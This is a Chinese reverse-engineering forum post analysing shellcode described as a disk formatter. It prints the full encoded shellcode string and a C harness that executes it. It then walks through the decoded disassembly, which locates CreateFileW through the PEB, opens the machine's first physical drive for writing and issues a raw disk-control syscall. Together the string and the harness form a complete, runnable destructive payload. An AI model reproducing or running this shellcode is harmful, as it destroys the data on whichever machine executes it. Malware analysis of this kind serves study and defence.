[原创]格盘的shellcode分析
shellcode
史上最小无需重定位的"格盘"ShellCode - 半斤八两
http://bbs.pediy.com/showthread.php?t=194664
源码：
char g_szFromShellCode[] =
"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0"
"BBABXP8ABuJIrulKzLMQJLopwp5PuP8GW5k03sqb"
"CUCQHGReOtRTPeQVayXGpEOx0lsUv7uPlMSuoppP"
"RpV5NkhlK3JLwxLKQU5XPSrvrwLKDHLKPPS4xGpEK"
"LUPuPgpS0ni0MkHMYRuc8sTMqP030uPUPLK704LlK"
"2PeLNMLKCpUXlKKHNkG7elnkpTUWRXgszwLKPJuHL"
"KaJq0VcyOriNk4tLKwsl7lKCuzXEi5VqeKCnkaUfh"
"09PFVdpuZKLKpZEts3KoqvLKDLBkNkRzgluSYOLKu"
"TlKGsYWoycuKLlKqUKLaOQNSknkkUQMLIQUx48Gg5"
"nlQLWpslWpHGw5Np4nuPqLuPKwSulTF0UP1xePjg3"
"umHpyGpcC7po7SuolayUPSSwpO7QUoPSQWpBLWpO7"
"3uOT1Ts0Pr30KwSuOXcYWpcFuPO7reNL3UeP4pwpK"
"wcuNPWpwpePePsZgpCZWpPjs3pjePazdC1x5Pc07p"
"KpLMCuLLPPlKcuODKOXPLKZxNmRmmhLMrunXp3O0v"
"0RpBpPPrHePKqEWuPPQbrpPv0QCh8aRGpWpc0nm2t"
"a4ZXVoudWp";
int main(int argc, char* argv[])
{
_asm
{
lea eax, g_szFromShellCode
call eax
}
return 0;
}
shellcode有一段自己解密代码的汇编，很简单就不贴了，看下解密后的：
.data:00406030 ; Attributes: bp-based frame .data:00406030 .data:00406030 pfnShellCode proc near ; DATA XREF: _maino .data:00406030 .data:00406030 szCreateFileW= byte ptr -80h .data:00406030 szPhysicalDrive0= byte ptr -74h .data:00406030 pCreateFileW= dword ptr -4Ch .data:00406030 var_48 = byte ptr -48h .data:00406030 szCrea = dword ptr -8 .data:00406030 pROCESSOR_ARCHITECTURE= dword ptr -4 .data:00406030 szTeFi = dword ptr 8 .data:00406030 .data:00406030 push ebp .data:00406031 mov ebp, esp .data:00406033 sub esp, 80h .data:00406039 mov dword ptr [ebp+szCreateFileW], 'aerC' ; CreateFileW .data:00406040 mov dword ptr [ebp+szCreateFileW+4], 'iFet' .data:00406047 mov dword ptr [ebp+szCreateFileW+8], 'Wel' .data:0040604E lea eax, [ebp+szCreateFileW] .data:00406051 push eax .data:00406052 push eax .data:00406053 push ebp .data:00406054 mov ebp, esp .data:00406056 sub esp, 8 .data:00406059 mov eax, [ebp+szTeFi] .data:0040605C push ebx .data:0040605D push esi .data:0040605E push edi .data:0040605F mov ecx, [eax] .data:00406061 mov edx, [eax+4] ; .data:00406061 ; ;Save String"CreateFi" .data:00406064 mov [ebp+pROCESSOR_ARCHITECTURE], 0 .data:0040606B mov [ebp+szCrea], ecx .data:0040606E mov [ebp+szTeFi], edx .data:00406071 mov eax, large fs:30h ; Get _peb .data:00406077 mov eax, [eax+0Ch] ; Get Ldr_PEB_LDR_DATA .data:0040607A mov esi, [eax+1Ch] ; Get InLoadOrderModuleList(First -> NtDll LoadInfoList) .data:0040607D lodsd ; LoadInfoList++ : Second -> kernel32 LoadInfoList .data:0040607D ; .data:0040607D ; GetDllInfo .data:0040607D ; ; .data:0040607E mov eax, [eax+8] ; Get Kernel32_ImageBase .data:00406081 mov edi, eax .data:00406083 mov eax, [edi+3Ch] ; Get _IMAGE_DOS_HEADER.e_lfanew .data:00406086 mov edx, [edi+eax+78h] ; Get Export Table offset .data:0040608A add edx, edi ; Export Table address .data:0040608C mov ecx, [edx+18h] ; Get ExportDirectory->NumberOfFunctions .data:0040608F mov ebx, [edx+20h] ; Get ExportDirectory->AddressOfFunctions .data:0040608F ; ; .data:00406092 add ebx, edi .data:00406094 .data:00406094 GetExportFunName_Begin: ; CODE XREF: pfnShellCode+6Fj .data:00406094 ; pfnShellCode+77j .data:00406094 dec ecx ; NumberOfFunctions-- .data:00406095 mov esi, [ebx+ecx*4] .data:00406098 add esi, edi ; Get Kernel32 ExportFunName .data:0040609A mov eax, [ebp+szCrea] .data:0040609D cmp [esi], eax .data:0040609F jnz short GetExportFunName_Begin ; NumberOfFunctions-- .data:004060A1 mov eax, [ebp+szTeFi] .data:004060A4 cmp [esi+4], eax .data:004060A7 jnz short GetExportFunName_Begin ; .data:004060A7 ; ;GetExportFunName_End .data:004060A9 mov ebx, [edx+24h] ; 获取环境变量ROCESSOR_ARCHITECTURE .data:004060AC add ebx, edi .data:004060AE mov cx, [ebx+ecx*2] .data:004060B2 mov ebx, [edx+1Ch] .data:004060B5 add ebx, edi .data:004060B7 mov eax, [ebx+ecx*4] .data:004060BA add eax, edi .data:004060BC mov [ebp+pROCESSOR_ARCHITECTURE], eax .data:004060BF mov eax, [ebp+pROCESSOR_ARCHITECTURE] .data:004060C2 pop edi .data:004060C3 pop esi .data:004060C4 pop ebx .data:004060C5 mov esp, ebp .data:004060C7 pop ebp .data:004060C8 mov [ebp+pCreateFileW], eax .data:004060CB mov dword ptr [ebp+szPhysicalDrive0], 5C005Ch ; 获得"\\.\PhysicalDrive0\"(即本机器的物理驱动器0->主硬盘) .data:004060D2 mov dword ptr [ebp+szPhysicalDrive0+4], 5C002Eh .data:004060D9 mov dword ptr [ebp+szPhysicalDrive0+8], 680050h .data:004060E0 mov dword ptr [ebp+szPhysicalDrive0+0Ch], 730079h .data:004060E7 mov dword ptr [ebp+szPhysicalDrive0+10h], 630069h .data:004060EE mov dword ptr [ebp+szPhysicalDrive0+14h], 6C0061h .data:004060F5 mov dword ptr [ebp+szPhysicalDrive0+18h], 720044h .data:004060FC mov dword ptr [ebp+szPhysicalDrive0+1Ch], 760069h .data:00406103 mov dword ptr [ebp+szPhysicalDrive0+20h], 300065h .data:0040610A mov dword ptr [ebp+szPhysicalDrive0+24h], 0 ; .data:0040610A ; CreateFileW(szPhysicalDrive0, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL); .data:00406111 push 0 ; push NULL .data:00406113 push 0 ; push NULL .data:00406115 push 3 ; push OPEN_EXISTING .data:00406117 push 0 ; push NULL .data:00406119 push 3 ; push FILE_SHARE_READ | FILE_SHARE_WRITE .data:0040611B push 0C0000000h ; push GENERIC_READ|GENERIC_WRITE .data:00406120 lea eax, [ebp+szPhysicalDrive0] .data:00406123 push eax ; push szPhysicalDrive0 .data:00406124 mov eax, [ebp+pCreateFileW] .data:00406127 call eax ; call CreateFIleW .data:00406129 mov ebx, eax ; save hFile .data:00406129 ; ; .data:0040612B lea ecx, [ebp+var_48] .data:0040612E lea edx, [ebp+var_48] .data:00406131 xor eax, eax .data:00406133 push eax ; push NULL .data:00406134 push eax ; push NULL .data:00406135 push eax ; push NULL .data:00406136 push eax ; push NULL .data:00406137 push 7C100h .data:0040613C push ecx ; push pUnkonw .data:0040613D push edx ; push pUnkonw .data:0040613E push eax ; push NULL .data:0040613F push eax ; push NULL .data:00406140 push ebx ; push hFile .data:00406141 mov eax, 42h .data:00406146 lea edx, [esp+54h+szPhysicalDrive0+18h] ; lea (&((DWORD)szPhysicalDrive0 - 4)) .data:0040614A sysenter .data:0040614A pfnShellCode endp ; sp-analysis failed
附bin和idb(ver6.6):
